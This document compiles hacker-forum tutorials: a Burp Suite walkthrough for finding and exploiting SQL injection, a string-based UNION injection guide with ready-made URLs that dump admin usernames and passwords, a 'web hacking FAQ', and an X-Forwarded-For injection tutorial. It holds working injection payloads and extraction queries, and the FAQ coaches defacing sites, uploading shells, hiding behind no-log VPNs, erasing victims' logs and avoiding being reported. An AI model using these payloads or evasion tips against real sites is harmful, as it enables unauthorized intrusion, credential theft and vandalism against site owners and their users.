INTRODUCTION TO BURP SUITE

BURP SUITE - PART I: INTRO via SQL INJECTION

OK, so today I am going to provide you with an in depth overview and introduction to testing and attacking SQL vulnerabilities in web sites and applications with the Burp Suite toolset. The free version which I will be explaining today is a hardcore tool for the security enthusiast, and they have a PRO version with even more features than what I will be covering today for the serious or professional pentester. This article is only meant to give you an introduction to this great tool.I personally had a difficult time getting to know the Burp Suite and have approached the tool several times in the past only to be intimidated by it and pushed it off for a later date. 

Requirements:

· Java v1.5+ installed (recommended to use latest JRE), available for free from here: http://java.sun.com/j2se/downloads.html

· Copy of Burp Suite, available for free here: http://portswigger.net/burp/download.html

o Free version works just fine, but the PRO packs a few extra goodies that are well worth it from what I hear

· Make sure you can also locate and run the Brain.dll file ;)

Getting Started:

You will need to make sure you have met the prerequisites listed above, just download both. Install the Java and unpack the Burp Suite to desired location to run. In order to get Burp Suite started on most computers you can just double click the executable .jar file, if that doesn’t work for you can run it by typing this in the command prompt or terminal:

COMMAND: Java –jar burpsuite_v1.4.jar

You will be greeted with the Burp Suite GUI once this has been done, it should look something like this:

The tool set is broken down into a tabbed structure with each tab performing a different service, test, or function. Burp Suite and its tools allow you to perform manual and/or automated requests to quickly scan, enumerate, analyze, attack and exploit web sites and their applications. This is facilitated through its tabbed structure which allows you to pass the results or focus item from one toolset directly to another allowing you to build as you go. It is the culmination of all of these which make Burp Suite such a powerful toolset to have in your arsenal.

· First and foremost it has a local intercepting PROXY

o This allows you to capture traffic between your browser and the target site. You can then inspect the captured traffic and pass it along to other tools in the suite for further analysis and testing. More to follow on this…

· The application-aware SPIDER tool can be used to crawl target sites to reveal site content, underlying structure, and other functionalities.

· The REPEATER tool allows you to manually resend individual HTTP requests

o This is very handy tool as it allows you to make quick changes on the fly and see how the server responds, I will cover more on this later…

· The INTRUDER tool is another one we will be focusing on today. This tool allows you to make customized payloads to be used in attacking the target. It is highly customizable and limited only by your imagination, more to come later…

· The SEQUENCER tool comes in handy if you want to test the randomness of session tokens. This can be used to uncover weak entropy which could lead to exploiting something like Session Jacking or similar type of scenario. I won’t be covering this today, but you should be able to pick it up after this basic tutorial and then start testing on your own.

· The DECODER tool is another handy one to have around as it can be used to decode material you may come across in your testing or it can also be used to do common tasks like converting text to HEX. This is worth playing around with as I won’t be covering it here today, but it is straight forward and simple enough to pickup

· The COMPARER tool is designed to allow you to perform visual comparison of any two items

· PRO VERSION:

o Also includes an advanced web application vulnerability scanner which is very accurate in detecting all kinds of vulnerabilities that could potentially be exploited

o INTRUDER tool is not time throttled meaning quicker test times

o Allows for save and restore should you stop mid stride

o Also has some additional SEARCH, Content Discovery, and Task Scheduling features which are not available in the free version

o General feedback on the street is that it is worth it if you can afford it

OK so that gives you a basic idea of what each tool is, now I will try to show you some examples of them and how to put them to work to your advantage. I will show some examples involving testing and exploiting SQL injection vulnerabilities which can be easily modified to test for other scenarios, here goes…

Prerequisites:

· Target Site to test

· Burp Suite up and running

Alright so once you open up the Burp Suite you can navigate to the PROXY tab to get things setup so we can start intercepting traffic and begin our testing. You will need to click on PROXY, and then click on the OPTIONS tab. Here is where we can setup our proxy port to use for our testing. In my case I already have an Apache server running on port 8080 so I needed to change it to port 8181, if you don’t have anything running then leave as is. The edit and add buttons should allow you to change to fit your need. Just click the little box at the left “running” to enable the proxy service once you are done. You will see the ALERT tab light up bright RED if there are errors, and you will find a short note regarding what the problem encountered was. Here is what my basic settings look like:

Once proxy port is selected and services started in Burp Suite we need to configure our Browser to use it so we can capture the traffic. In most browsers you simply open up the settings, go to network connections, check the box to enable proxy support, and then tell it to use “localhost” and port “8181” (or whatever port you are running Burp Suite on, default: 8080). Then set OK, OK to save the updated settings and now you should be all set to go.

Now that we have that setup we can insert our target URL into the browser window and hit ENTER. You will see the Burp Suite tool light up and the Interceptor tab of the PROXY tab will light up RED to indicate it needs your input. The default behavior is to set the INTERCEPTOR to ON, which means it captures all traffic requests being sent and then requires user input to decide if the packets will be forwarded or dropped. You can forward and watch the page load the target site (may require a few forwards, depending on site). I find this feature helpful when you know you want it, but I prefer to turn the INTECEPTOR off and just manually crawl the site and let the traffic get captured and sent to the HISTORY tab. You can manually run through the site checking it out and the traffic will all be captured in the history tab for us to review and test when we are ready.

INTECEPTOR – Capture with default settings, user needs to forward or drop to continue:

TURN OFF the INTERCEPTOR and surf web as you normally would and everything gets sent to the HISTORY tab so you can test when you are done:

Here you can see all the traffic captured and the ticks next to those requests which might have parameters we can test or fuzz. Now that we have some requests to test, we will right click on the one we want to test and choose to send it to the REPEATER.

You will see the REPEATER tab light up bright RED to indicate it is now waiting for user action since the request has been sent to it. Now we can use the REPEATER to do some quick manual inspections. You will find the request already prepared in the RAW tab, it is also cleaned and organized if you prefer to review on the parameters, header, or hex tabs. You can find what works best for you, but my preference is to work with the raw request.

The REPEATER allows you to make any changes you want to the request and then resend it to analyze the results from the server. If you notice above it even highlights the request parameters in BLUE and possible vectors to manipulate in RED. Let us send the request by hitting the GO button (leave it as it is to establish a baseline), and then add a single quote to the after the “2” in the above request and then resend to see if the server responds any differently.

NOTE: If you don’t like searching through RAW responses you can also click on the RENDER tab of the response area (when available) and it will render the RAW code into what the browser would see.

Well what do you know; the server seems to have an issue with processing single quotes. This may or may not be vulnerability. You could continue to test this manually in the REPEATER by just continuing to edit, sending an analyzing the results, but this is where the INTRUDER tool comes into play, as we can create a few customized payloads and automate the process. In order to pass this request to the INTRUDER tool just right click the message body and choose the send to intruder option.

Again you will see the INTRUDER tab light up bright RED to indicate the tool is now awaiting user input. Before we begin with the INTRUDER I feel the need to lay down some additional clarification around what all is included in the INTRUDER and how they work. The Intruder tool is broken into four (4) tabs: target, positions, payloads, and options. The target tab is pretty straightforward, it only needs to point to your target site, desired port, and a ticker for whether or not you want to use SSL for connection. This tab is pretty much setup for you by default just by sending the request to the intruder tool, if you need or want to use SSL then click the ticker. The positions tab is crucial to understanding; this is where we mark our requests for the intruder to do its thing with. We will identify pieces of the request where we want to inject or alter with our payload options (will make more sense after examples ahead). The tool will use the highlighting to show you were the possible attack points are. The tool uses the § symbol as start and end markers for each targeted attack position. If you want to replace the parameter value then place the §§ symbols before and after, however if you want to test altering or injecting after it then place the §§ symbols directly after the parameter value. Here are examples of both; again this will make more sense after a few examples in a minute so bear with me for now.

Replace parameter value:

Alter to Inject after the parameter value:

.

OK so you have identified where you want to alter/inject on…now what? How do we make it work? Don’t worry keep reading we are almost there ;) In order to finalize the settings for the INTRUDER you need to also select the attack type to use and then configure settings for the attack type so it injects our desired payload into each position during tests. Here is a breakdown of the four (4) available attack types and general idea of what each does:

· Sniper: This attack mode lets us inject a single payload into the chosen attack positions. This takes the payload options and inserts them one by one into the chosen position and then repeats until it has tested all payload options. If multiple positions are chosen it will only apply the test to one position at a time. I will show you how to use this to test for signs of SQL vulnerabilities in a sec…

· Battering Ram: This is similar to the Sniper attack mode in that it takes our desired payload and inserts it into the chosen attack positions. The difference here is that if more than one position is chosen it will insert the same payload into all positions at once and test, whereas the Sniper tests them one by one. This can be a handy attack type for attacking things where the same material is needed in multiple locations of the request. I personally have not used this one a lot successfully.

· Pitchfork: This attack mode allows you to test multiple payloads based on attack position, with a max of 8 being able to be defined. This attack mode sets a different payload for each position and moves through them one by one while testing multiple positions at once, which can be extremely useful in tests as I will show in a minute.

· Cluster Bomb: This attack mode uses multiple payloads and allows you to test each possible payload in each chosen attack position, meaning it will try payload1 in position1 and then on the next test it will try payload1 in position2, swapping out for any other payloads you have defined. This can be handy when you have different input/injections needed in multiple places.

OK so now you have an idea of what the attack modes are; let me show you a few in action so it all comes together for you. We will take what we did manually and instead this time use the INTRUDER tool to test for SQL vulnerabilities. I have created a small list of possible injections to test for SQLi, nothing overly complex:

· '

· "

· /

· /*

· #

· )

· (

· )'

· ('

· and 1=1

· and 1=2

· and 1>2

· and 1<=2

· +and+1=1

· +and+1=2

· +and+1>2

· +and+1<=2

· /**/and/**/1=1

· /**/and/**/1=2

· /**/and/**/1>2

· /**/and/**/1<=2

Using our example we will set the attack vector to come after our parameter value. We will use the SNIPER attack mode to insert our list of payloads above.

Then we need to configure the payload, save the example I provided above as vuln-test.txt on your PC somewhere. Then navigate to the payloads tab where will set our payload to a “runtime file” and then select your file you saved to load as our payload injections.

NOTE: there is a URL encoding option at the bottom which you may or may not want to take advantage of. Also make sure you add a whitespace as I am not 100% it is included by default.

OK now we need to check out the options tab to finalize things and then we can run it. If you scroll down on the OPTION page you will find a section for grep. We can define text to search for on the results page after our payloads have been inserted. This can be very handy in interpreting the results as well as saving you some time. I use a general list of SQL error messages for this part, just hit load to select a file on your system or you can add them manually one by one. Whichever suits you best is fine. Here is a look at what is included in my error-vuln-check.txt file:

· unknown column

· unknown

· no record found

· mysql_num_rows()

· mysql_fetch_array()

· Error Occurred While Processing Request

· Server Error in '/' Application

· Microsoft OLE DB Provider for ODBC Drivers error

· error in your SQL syntax

· Invalid Querystring

· OLE DB Provider for ODBC

· VBScript Runtime

· ADODB.Field

· BOF or EOF

· ADODB.Command

· JET Database

· mysql_fetch_row()

· include()

· mysql_fetch_assoc()

· mysql_fetch_object()

· mysql_numrows()

· GetArray()

· FetchRow()

· Input string was not in a correct format

· Microsoft VBScript

· A syntax error has occurred

· ADODB.Field error

· ASP.NET is configured to show verbose error messages

· ASP.NET_SessionId

· Active Server Pages error

· An illegal character has been found in the statement

· An unexpected token "END-OF-STATEMENT" was found

· CLI Driver

· Can't connect to local

· Custom Error Message

· DB2 Driver

· DB2 Error

· DB2 ODBC

· Died at

· Disallowed Parent Path

· Error Diagnostic Information

· Error Message : Error loading required libraries.

· Error Report

· Error converting data type varchar to numeric

· Fatal error

· Incorrect syntax near

· Index of

· Internal Server Error

· Invalid Path Character

· Invalid procedure call or argument

· Invision Power Board Database Error

· JDBC Driver

· JDBC Error

· JDBC MySQL

· JDBC Oracle

· JDBC SQL

· Microsoft OLE DB Provider for ODBC Drivers

· Microsoft VBScript compilation error

· Microsoft VBScript error

· MySQL Driver

· MySQL Error

· MySQL ODBC

· ODBC DB2

· ODBC Driver

· ODBC Error

· ODBC Microsoft Access

· ODBC Oracle

· ODBC SQL

· ODBC SQL Server

· OLE/DB provider returned message

· ORA-0

· ORA-1

· Oracle DB2

· Oracle Driver

· Oracle Error

· Oracle ODBC

· PHP Error

· PHP Parse error

· PHP Warning

· Parent Directory

· Permission denied: 'GetObject'

· PostgreSQL query failed: ERROR: parser: parse error

· SQL Server Driver][SQL Server

· SQL command not properly ended

· SQLException

· Supplied argument is not a valid PostgreSQL result

· Syntax error in query expression

· The error occurred in

· The script whose uid is

· Type mismatch

· Unable to jump to row

· Unclosed quotation mark before the character string

· Unterminated string constant

· Warning: Cannot modify header information - headers already sent

· Warning: Supplied argument is not a valid File-Handle resource in

· Warning: mysql_query()

· Warning: pg_connect(): Unable to connect to PostgreSQL server: FATAL

· You have an error in your SQL syntax near

· detected an internal error [IBM][CLI Driver][DB2/6000]

· error

· include_path

· invalid query

· is not allowed to access

· missing expression

· mySQL error with query

· mysql error

· on MySQL result index

· on line

· server at

· server object error

· supplied argument is not a valid MySQL result resource

· unexpected end of SQL command

Once this is finished you can actually run the test using our HTTP request we identified earlier and now using our selected Sniper attack with vuln test payload and grep contents set. You can run the Intruder tool by clicking on the file menu at top and simply selecting Intruder>>start attack.

This will now open a new window where we can watch the test run and then interpret our results:

You can clearly see that there is a length difference on our messages containing the common SQLi offenders as well as some noticeable differences for the true false tests at the end. If you also look you will see that there are a lot of columns to the right and that some of them have checks in them. This is to signify that the grep found text from our provided list. If you click on a request you can then view the actual request and response in the below area, thus we can now clearly see which ones caused an error and what error was thrown, you can also review the rendered response to see visual differences for things like the true false examples since they might not always throw readable errors (again length can tell you a lot and act as a big hint as to where you should spend time investigating further).

OK we have found a potential SQLi vulnerability based on error messages and true false response tests. This is good start, but now what? Now we go back to the INTRUDER settings and work on altering our settings to further test and exploit. Let us now see if we can set the Intruder up to test ORDER BY to determine quick column count. Using the same request we will now position our payload to insert ORDER BY statement and test results to find column count.

SAMPLE-order-by.txt

· ORDER BY 1—

· ORDER BY 2—

· +ORDER+BY+1—

· +ORDER+BY+2—

· /**/ORDER/**/BY/**/1—

· /**/ORDER/**/BY/**/2--

· …

Update our grep settings to look for “unknown column” and anything else you might like to add for determining column count. Once these changes have been made, re-run the intruder tool and review the results to see what we have found:

Great – we have found the column count to be 5! You can use the response requests to judge in addition to the request length clue. Now we will send this request back to the REPEATER, now we will use the REPEATOR to find vulnerable columns. Change the ORDER BY to UNION SELECT statement with known column count, run the request in Repeater and view the rendered results to see what columns are vulnerable:

NOTE: don’t forget to NULL or negate “-“ parameter value so the output reflects any vulnerable columns.

OK, now we see clearly that columns 1 & 2 are vulnerable. Now we can send this updated request back to the intruder for further testing and exploitation. We will now setup the Intruder to insert some basic SQL queries as payloads into our vulnerable columns to get us some basic info in return. I have put together a short list called basic.txt to use as payload, but you will need to set the attack positions to insert in place of column 1 and/or 2 (You only need one so keep it simple).

SAMPLE-basic.txt:

· Version()

· User()

· Database()

· @@hostname

· @@basedir

· @@datadir

· …

Once you have payload options set, it is time to re-run once again and interpret the results. You don’t need any grep here as we will be pulling the data from the rendered server response packets directly this time.

We can keep going all the way to extraction by simply adjusting our payloads and retesting. If we want to check for the available databases we can add an additional attack vector to our existing request, modify attack mode to CLUSTER BOMB, and then change the payloads to get-dbs1.txt and get-dbs2.txt.

NOTE: we also will be changing to the CLUSTER BOMB attack mode so we can enter both payloads at the same time to get our desired results.

Once you have it setup, re-test and interpret the results:

OK, take note of the available DB names, you will need to HEX them and copy and paste them into the file called get-tables.txt as we will now use this for our next payload set to get the tables for each database found. Insert get-tables1.txt into position 1, use get-tables2.txt for payload and position 2, and insert get-tables3.txt at the end (this means we also need to add another injection/insertion attack vector to our request. It will follow immediately after position2 as we will be linking them together). The first one sets up group_concat, the second prepares the statement and the third runs through the list of database names to enumerate tables from. Re-run the Intruder test once you have it setup, no grep needed as we will be mostly using the render feature to interpret from here out.

SPECIAL NOTE: You can use the DECODER tool for HEX if you would like, just paste your text into top area and then choose the middle drop down to “encode as” and pick what you want. The converted text displays in the lower section:

See how the results differ when DB name is not in HEX value below:

OK, so now we have basic info, DBS, TABLES, we can keep going and modify slightly to get the columns. We go back to the Intruder tab and reconfigure to get columns from known tables. You will need to remember to HEX again, so go ahead and use the DECODER again –that is what it is there for! This time we need to add another attack vector to our request so we can insert our group_concat(column_name), then insert the from statement, and then we will use position 3 for inserting our table names. If you want you could add an additional position 4 to add in the needed syntax to pull tables from non-active DB (refer to some of my other basic SQL tutorials if you need help in locating syntax).

Now you have all you need to extract. You can keep altering the payloads to handle this for you if you are working with a vulnerability or exploit that is rinse wash and repeat, however if the targets do not have the same content then this may be the time to switch back to the REPEATER to manually apply the found content to extract what you want. Just alter the syntax to fit just like it was normal SQLi and then hit GO and parse the rendered results for your pirate treasure. 

OK so now you have successfully used Burp Suite to find vulnerability and exploit it. If you need to map out the site to perhaps find login pages there is one last tool in the set that can help, and that is the SPIDER tool. It is application-aware meaning it will pick up on any links passed through the proxy during tests. You can also activate it by customizing the option settings for it and letting it loose on target site. It is pretty good even with default settings. You just find your target in the SITE MAP list on left hand side under the SPIDER. Right click your target site and tell it to “spider host” and it will do its thing. If it comes across any forms it will set off the RED alert box as you need to tell the tool to either submit forms or ignore them (you can configure custom settings for this to be handled under options - just remember that what you put is what shows up in logs so if your trying to be professional you might want to change it ;).

Once it is done you can use tree view to see the site infrastructure according to the spider tool:

You could alternatively use a request to the web root and then enumerate a list file of known login pages/directories and judge repsonses to see if it is present. I will end the tutorial here or I could keep going for ever and ever with all the cool features that are built in, but you should have the basic idea now. I have included a link below to a download which contains all of the content and text files referenced (and some more for other projects I am working on). I have put this together for my own personal testing with Burp Suite, and you are free to download and use as well. If you have any additions please let me know as this is a constant work in process for me, with most of it built on top of the FuzzDB project which I used as a base for figuring this out combined with plain old experience gathered through trial and error over time. I will try to work on some additional follow up tutorials for some other common tasks that can be performed with Burp Suite like Authentication Bypassing via SQL, POST injections, XSS, Uploading Shells, and whatever else I can come up with. Part II to come in next few weeks. If you need more in the meantime you can check the Burp Suite site and community forums for help.

STRING BASED SQL INJECTION

What is String Based SQL injection and how to notice them?

To make this simple to understand, String Based SQL injection happens when the site is vulnerable to SQL injection but doesn't show us the results needed to be displayed after executing our SQLi query.
Common known issues that proves the site being vulnerable to String Based are:

Code:

"order by" doesn't work, example: order by 100--
"group by" doesn't work
"having 1=2" doesn't work
queries related to SQL injection doesn't work (will show a normal page even though site is vuln to SQLi)

---

---

---

Solution to this issue in order to hack a site with String Based SQL injection

The answer to this problem is by using the following format while trying to hack a site with SQLi

Code:

http://site.com/index.php?id=10' order by 1000--+

That will show us the error, hence displaying the results according to our query.
The point here is that we used the quote ' and the + sign in our query

Code:

id=X' order by--+

Alright that you've got the point lets try String Based on some of the other types of SQL injection shall we

---

---

String-Union Based SQL injection

1. Obtaining the number of columns (in this example, we'll use 10 columns)
Code:

http://www.site.com/index.php?id=234' order by 11--+

Results show error, so we'll assume as 10 columns, since it'll be an example for our process

2. Obtaining the Databases

Code:

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+

Results will display the databases on their website

Note: If you don't know anything about UNION Based SQL injection, I suggest you read one of my tutorials to progress further in this step

3.Obtaining the Tables from the current Database

Code:

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+

Results will display the current table names
For this example, we'll be using the table name: "admin"

4.Obtaining Column names from a specific table (which in this example is "admin")

Code:

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+

Results will display the column names from the current table
To convert plain text to hex, use: http://www.swingnote.com/tools/texttohex.php

For this example, we'll use "username" and "password" as our column names

5.Obtaining Data from Column names

Code:

http://www.site.com/index.php?id=-234' UNION SELECT 1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+

---

Results will display the data given by the columns you have chosen

This can be also done with Error Based SQL injection, Blind Based and other types of SQL injection
Please refer to my previous tutorials to know more about Error Based and Union Based

---

FREQUENTLY ASKED QUESTIONS DURING INTERVIEWS

Introductions

-I'll be posting a couple of questions related to web hacking.
-In the past few days, I've seen a lot of people having troubles and get stuck at a certain point while they hack.
-Well, most of these "questions" will be answered and hopefully you'll find this thread useful

I'll be grouping the types of questions to make it easier for you guys to understand what you'll be reading

Part 1: General Web Hacking FAQ

Question: What is a shell when it comes to web hacking?

Answer: Well, basically a shell is a type of .php file needed to be uploaded on a hacked website or a host in order to make it work.
The way is works is not that complex if you wonder. With a shell uploaded to your hacked website or host, you can alter almost anything using it.
While you're using a shell, you will be able to:
Delete Website Directories and upload your deface page
Can be used to DDoS another website (depends on what type of shell you're using
Having a shell with many functions, you can also crack MD5 Hash, modify another php file, mass mail someone, email bomb an email!

An example of a shell I use is: http://sourceforge.net/projects/ani-shell/

Question: What does defacing mean and what's a deface page

Answer:Defacing, in most certain cases, means that you wanna upload a specific file of yours,mostly a message to prove the administrator that you hacked the website.
If you think about it, it's relatively similar to a deface page.
A deface page, while hacking a website, is simply a message to convey to the owner of the website that you've owned their security.
Most people do this for fun, fame, or other stuff that can satisfy your hacking skills.
If you're a beginner in web hacking, defacing a site will be considered as a big success for you just like me :)

Question:A common difference between a shelled website and a defaced website?

Answer:Simply answering, a shelled website can be used as hosting for illegal operations, can be used for DDoSing and other functions a shell can perform
while a defaced website is simply a type of message, mostly threatening and fun which conveys the owner of the website that their security is low and that you owned them

Question:My IP was logged while I was hacking, what should I do now?!

Answer:Well, first of all, don't ever freak the hell out or piss on your pants! Calm down a bit and get your head straight.
Now to the point, if your IP has ever been logged, their is a huge chance that you won't get caught. However don't be too happy about it.
Try WHOISing the website and see if this website is an important source to the owner. If it is, you might wanna leave the website forever. What I mean is that, you can just leave the site alone so that the owner won't get too suspicious of what's happening.
Now for the most important part, next time use as VPN that never saves logs of your activity on the internet.
Examples of VPN:
1. nVPN (paid)
2. ProXPN (free)
You can also use proxy to keep yourself anonymous.
An advice from me and all other web hackers out there, no matter what you hack whether it's a bullshit website or a strict government website, always stay behind a VPN or Proxy and stay anonymous!

Question:What is a hash and what can I do with it?

Answer:To get to the point, a hash is basically an encryption. To be specific, a special encryption which requires hash cracking knowledge in order to reveal the plain text
Unlike other encryption, a hash can't be decrypted. In other words, to successfully crack a hash, you either might need to use a hash cracking website or an external hash cracking program with an enormous word list.
An example of a website for cracking hashes:
http://www.md5decrypter.co.uk/

Program for cracking:
HashCat
Now there are different types of hashes out there and you can determine what kind of hash it is by studying the number of characters and the types of characters in the code.
To know most of the types of hashes, visit this thread (Credits to Haxor!:) )
http://www.hackforums.net/showthread.php?tid=1393830

Other types of encryption can be decrypted using "http://www.crypo.com"

Question:What is rooting a.k.a rooting rooting a server?

Answer:Rooting a server in simple words means that you're having a complete remote access to a server (computer).
Rooting works on the basis of exploits. Most websites are running through Linux servers. Now what will you gain when you root a server?
Easier said than done, you will gain remote control of the websites associated and run by that server.
It's like hacking more than 1 website at a time.
Rooting can be done with Linux and Windows and is really a hard method of web hacking when you're a newb to it.
You can search millions of tutorials out there about rooting, but you might wanna start from the basics first

Question: Is there any tool that can help me ease my web hacking activity while I hack websites?

Answer:First of all, never use tools that will do the job for you i.e hack everything for you! You don't wanna get your ass stuck while you watch a program hack websites for you and you don't learn anything
Now, there are many useful tools out there that can help you speed up your activity when you start hacking websites. These tools are mostly add-on installed in a browser called Firefox (which is really a good famous browser for hacking)
You can use some of the following:
1. HackBar add-on for Firefox:
Has a built in automatic column-number posting when you use UNION SELECT in SQL injection
Tools you need when you XSS
Built-in Text to Hex and Hext to Text
A big space for customizing your queries


2. Cookies Manager:
A very efficient tool for adding/deleting/modifying cookies
Organized layout and a friendly GUI


3. Live HTTP Headers:
Manage all the activities your browser performs i.e record the activities your browser is performing live
A very useful tool for uploading Shells on a hacked site (Used for renaming your shell.php.jpg to shell.php
Replay the activity on your browser while you alter your cookies to make changes


4. Tamper Data:
Mostly used in LFI (Local File Inclusion)
Instantly records the connections being made in your browser from the websites opened

Question: I'm very new to Web Hacking, I'm confused, where can I start?

Answer: You can start from the very basics to the advanced, but never be in a hurry when you're just starting.
Here's what you can study first:
1. HTML coding
2. PHP
3. Javascript
4. Cookies
Don't work hard on mastering all of them though, just learn the basics and try to get the hang of it.
Once you've got an idea about those four, methods of web hacking are what you're searching for now.
Many methods can be learned and used and some of them are listed below from the easiest to an intermediate level.
1. SQL injection
2. XSS
3. LFI/RFI

I recommend you to start from the basics of SQL injection. Then you can progress to further advanced methods of web hacking (More about those methods below)

Question: What are the types of web hacking methods?

Answer: Some of the types are explained below

1. SQL injection: Queries entered in order to extract information from the database of the website
Error Based SQL injection
Union Based SQL injection
Time Based SQL injection
Blind SQL injection
String Based SQL injection


There's also something called WAF Bypassing where you bypass the firewalls installed on the website. This can lead to combinations of SQL injection if you think about it. Examples are like
String Based WAF bypassing SQL injection
String-Error Based WAF Bypassing SQL injection
WAF Bypassing Double Query SQL injection



2. XSS (Cross Site Scripting): Execute scripts to perform functions required to hack a website
Persistent - Can be used for cookie stealing
Non-Persistent- Can be used as an HTML injection, commonly used for website vulnerabity proofs



3. LFI (Local File Inclusion): Directory exploits used to upload files into the website(example: shells)
/proc/self
Log Poisoning
Malicious Image Upload



This is all what I can cover for now. But I'll be making tutorials on web hacking soon


Question: What should we do before we start to attempt web hacking?
Answer: You might need to do the following when you start hacking websites.

1. Proxy/ VPN (Virtual Private Network)
Always stay behind a proxy or a VPN no matter how useless or precious the site you're attempting to hacking could be.
Proxies can be obtained from here

And a VPN you can use is:
ProXPN: http://www.proxpn.com

Note: When using a VPN, always use one that doesn't store logs and it's really a serious matter.
Hack from another Wireless network if possible

2. Expose prevention
Never attempt to share your web hacking activity anywhere or anyone unless you trust that person so that you both can discuss and learn together.
Some stranger might report you or blackmail you and that would really suck


Question: What should I do after I'm done with hacking the website?
Answer: You don't wanna get caught or reported or trace. Here are some tips.

1. Logs in the admin panel's website
After you're done with everything i.e defacing/shelling, make sure to erase the logs created in the panel. Their is a possibility your IP could be stored in one of their directories

2. Erase your tracks
Make sure to delete everything done on your browser i.e cookies, logs, logins etc
You can do this using CCleaner

3. Pride of success
Don't be too proud sharing what you have just done, some people are really not trust-worthy and could open up a report anytime.
Be happy of what you've done and share to ones you have trust on.

Moreover, stay stealthy at anytime

SQL INJECTION BY X-FORWARDING

Post: #1 SQL injection : X-forwarded-for Requirements : Site that use X-forwarded-for Basic knowledge with SQLi (string based) Live HTTP headers Introduction : X-forwarded-for is often use to get the ip of user even though he uses a proxy. Example and explanation :  PHP Code: function getip() {     if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))     {        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];   }     else     {       $ip = $_SERVER["REMOTE_ADDR"];   }  This code create an ip variable with the real ip. PHP Code:     if (preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip))     {         return $ip;     }     else     {         return $_SERVER["REMOTE_ADDR"];     } }  This code check if it's real ip but this code is vulnerable, why ? Because a regex has a beginning and a end. The beginning delimiter is ^ and the ending delimiter is $, note that the $ is missing. So the regex check only the beginning of the ip. If your ip is127.0.0.1 the regex will send back true but if your ip is 127.0.01+whateveryouwant the regex will send back true too. PHP code that is vulnerable : PHP Code: $req = mysql_query("SELECT username,password FROM admin WHERE username='".sql($_POST['username'])."' AND password='".md5($_POST['password'])."' AND ip='".getip()."'");  Exploitation: First open Live HTTP headers then actualize the page : Note that the injection will be a string based. Now click on the url then click on replay and add : Code: X-forwarded-for: 127.0.0.1 Then add a quote after your ip address and a nice error like that will be displayed :  And now do your injection like string based, the most important thing is that you have to understand that the injection point is your ip in X-forwarded.